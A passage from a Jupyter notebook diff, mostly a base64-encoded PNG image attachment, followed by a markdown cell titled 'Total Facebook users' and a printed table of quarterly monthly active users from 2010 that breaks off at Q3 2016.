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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Total Facebook users\n", + "![image.png](attachment:image.png)" + ] + }, + { + "cell_type": "code", + "execution_count": 129, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Quarter Monthly_active_users(millions)\n", + "0 Q1 2010 431\n", + "1 Q2 2010 482\n", + "2 Q3 2010 550\n", + "3 Q4 2010 608\n", + "4 Q1 2011 680\n", + "5 Q2 2011 739\n", + "6 Q3 2011 800\n", + "7 Q4 2011 845\n", + "8 Q1 2012 901\n", + "9 Q2 2012 955\n", + "10 Q3 2012 1007\n", + "11 Q4 2012 1056\n", + "12 Q1 2013 1110\n", + "13 Q2 2013 1155\n", + "14 Q3 2013 1189\n", + "15 Q4 2013 1228\n", + "16 Q1 2014 1276\n", + "17 Q2 2014 1317\n", + "18 Q3 2014 1350\n", + "19 Q4 2014 1393\n", + "20 Q1 2015 1441\n", + "21 Q2 2015 1490\n", + "22 Q3 2015 1545\n", + "23 Q4 2015 1591\n", + "24 Q1 2016 1654\n", + "25 Q2 2016 1712\n", + "26 Q3 2016 